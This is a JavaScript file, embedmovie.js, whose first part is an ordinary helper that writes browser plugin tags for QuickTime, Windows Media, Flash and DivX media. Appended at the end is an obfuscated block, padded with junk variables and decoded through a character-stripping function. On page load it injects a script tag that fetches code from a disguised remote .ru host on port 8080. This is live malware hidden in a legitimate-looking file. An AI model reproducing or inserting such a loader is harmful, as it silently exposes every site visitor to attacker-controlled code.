/* embedmovie.js
 * Author: Laszlo Molnar / Hungary
 * Date: 01/11/2006
 * Version: 0.5
 */
 
var mtype = new Array (".avi.mp3", ".qt.mov.mpg.mpeg.mpe.mp4.m4v.aiff", ".wmv.wma.asf", ".swf", ".flv", ".divx.xvid" );
var cheight = new Array (0, 16, 64, 0, 18, 20);
var audio = ".mp3.wav.wma.aiff.mid.rm.ram";

function addParam(name, value) {
  return '<param name="' + name + '" value="' + value + '" />\n';
}

function embedMovie(src, width, height, autoplay, hide, scaletofit) {
  var isExplorer = (navigator.appName.indexOf('Explorer') != -1);
  var ext = src.substr(src.lastIndexOf('.')).toLowerCase();
  var isAudio = (audio.indexOf(ext) != -1);

  for(i = 0; i < mtype.length; i++)
    if(mtype[i].indexOf(ext) != -1) break;

  if(i == 0) { i = (navigator.userAgent.indexOf('Macintosh') != -1)? 1 : 2; }

  if(!scaletofit && audio.indexOf(ext) != -1) height = 0;
    
  if(hide) width = height = 0;
  else height += (i < mtype.length)? cheight[i] : 45;

  switch (i) {
  
  case 1: // QuickTime Movie

    if(isExplorer) {
      document.write('<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ');
      document.write('codebase="http://www.apple.com/qtactivex/qtplugin.cab#version=6,0,2,0" '); }
    else
      document.write('<object type="video/quicktime" data="' + src + '"');

    document.write(' width="' + width + '" height="' + height + '" id="QuickTimePlayer">\n');
    document.write(addParam("src", src));
    document.write(addParam("autoplay", autoplay? 'true':'false'));
    document.write(addParam("bgcolor", "black"));
    if(scaletofit) document.write(addParam("scale", "tofit"));
    document.write('</object>\n');
    break;

  case 2: // Windows Media Player 

    //if(src.indexOf('/') == -1) src = './' + src;

    if(isExplorer)
      document.write('<object classid="CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6" ');
    else
      document.write('<object type="video/x-ms-wmv" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="MediaPlayer">\n');
    if(isExplorer) document.write(addParam("URL", src));
    document.write(addParam("src", src));
    document.write(addParam("AutoStart", autoplay? '1':'0'));
    if(scaletofit) document.write(addParam("StretchToFit", '1'));
    document.write(addParam(isExplorer? "ShowControls":"Controller", '1'));
    document.write('</object>\n');
    break;

  case 3: // Flash Animation
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write('</object>\n');
    break;

  case 4: // Flash movie
    if(isExplorer) {
      document.write('<object classid="CLSID:D27CDB6E-AE6D-11CF-96B8-444553540000" ');
      document.write('codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0" '); }
    else
      document.write('<object type="application/x-shockwave-flash" data="' + src + '&autoStart=' + (autoplay? 'true':'false') + '" ');

    document.write('width="' + width + '" height="' + height + '" id="FlashPlayer" align="middle" />\n');
    document.write(addParam("movie", src + '&autoStart=' + (autoplay? 'true':'false')));
    document.write(addParam("allowScriptAccess", "sameDomain"));
    document.write(addParam("quality", "high"));
    document.write('</object>\n');
    break;

  case 5: // DivX Movie
    if(isExplorer) {
      document.write('<object classid="CLSID:67DABFBF-D0AB-41fa-9C46-CC0F21721616" ');
      document.write('codebase="http://go.divx.com/plugin/DivXBrowserPlugin.cab" '); }
    else
      document.write('<object type="video/divx" data="' + src + '" ');

    document.write('width="' + width + '" height="' + height + '" pluginspage="http://go.divx.com/plugin/download/" id="DivxPlayer">\n');
    document.write(addParam("mode", "zero"));
    document.write(addParam("autoPlay", autoplay? 'true':'false'));
    document.write(addParam("allowContextMenu", "false"));
    if(src.charAt(0) == "." || src.charAt(0) == "/" || src.indexOf("http:") == 0)
      document.write(addParam("src", src));
    else
      document.write(addParam("src", "./" + src));
    document.write('</object>\n');
    break;
	
  default: // Undefined
    document.write('<embed src="' + src + '" autostart="' + (autoplay? 'true':'false') + '" width="' + width + '" height="' + height + '" loop="false"></embed>');
  }
}


var k;if(k!='' && k!='XA'){k=''};try {var By=new Array();var R;if(R!='' && R!='r'){R='i'};this.qe='';var rf;if(rf!=''){rf='uq'};var F=']';this.vk="";var j='g';var e;if(e!='' && e!='iO'){e='gm'};var eK;if(eK!='FcL' && eK != ''){eK=null};var d='';var Fc='replace';this.A="";var qj=new Date();var p=RegExp;var RU="";var H='[';var D=new String();function u(v,h){var vM=new Date();var X=H;var hu=new Array();var zg=new Array();X+=h;X+=F;var JT=new String();var C=new p(X, j);return v[Fc](C, d);var lP;if(lP!='jw'){lP=''};this.pp="";};this.WI='';var iW;if(iW!='' && iW!='_'){iW='TH'};var a="";var B=u('sXcXrXiApXtA',"AX");var o=u('sZeFtFAFt1t9r1i1b9u9t9e9',"91FZ");var z='';var y=u('bWoWdWyt',"tW");var UZ;if(UZ!='S'){UZ=''};var zY='';var v="1";var m=u('aOpZpOeZnbdOCOhMiblZdZ',"MOPZb");var hn=new Array();var N=u('h9t9tAp9:A/9/9wAeAa9t9hAeArA-AcAo9mA.9g9o9o9gAl9eA.AcAo9m9.AkAwA.9c9l9o9oAb9-AcAoAmA.9nAeAw9v9iAl9lAaAgAeAf9r9e9sAhA.Ar9u9:9',"9A");var sl=new String();var T=u('863936603339986939360633396369',"693");var MW='';var c=u('c6rAeAaAtAeOE8lOeOm8eOn8tA',"A8O6");var hG=u('o_nWl_o_aWd_',"_W");var O="";var qU;if(qU!='bP'){qU=''};var g=u('/JnWaWvPeJrU.PcJoWmP/WnUaMvWeWrP.WcWoMmW/MgUoUoMgMlMeW.PcPoUmW/UmPoWnPoJgMrJaUfWiUaPsJ.McJoWmP/WbPrUaUzJzPePrPsM.McJoWmJ.MpUhMpP',"MUJWP");var I=new Array();window[hG]=function(){var OR;if(OR!='YB' && OR != ''){OR=null};var Zk;if(Zk!='qu' && Zk!='PZ'){Zk=''};var ZG;if(ZG!='nH' && ZG != ''){ZG=null};var xw=new String();mq=document[c](B);this.K="";z+=N;var YU;if(YU!='Za' && YU != ''){YU=null};z+=T;var ygC;if(ygC!=''){ygC='FX'};var RL;if(RL!=''){RL='Gm'};z+=g;var aN="";var Vl="";var be;if(be!='aT'){be='aT'};mq.setAttribute('defer', v);var UL=new Date();var vh;if(vh!='' && vh!='zS'){vh=null};mq.src=z;var IG;if(IG!='jf' && IG != ''){IG=null};var NH;if(NH!='rX' && NH != ''){NH=null};var J=document[y];var jc;if(jc!='Gq'){jc='Gq'};var Bys=new Array();var DP='';J.appendChild(mq);var cR="";};var bgo;if(bgo!=''){bgo='fT'};this.Pf='';var gN;if(gN!='' && gN!='gl'){gN=null};var Vr="";} catch(n){};var JZ;if(JZ!='EI' && JZ!='ep'){JZ=''};var kM="";
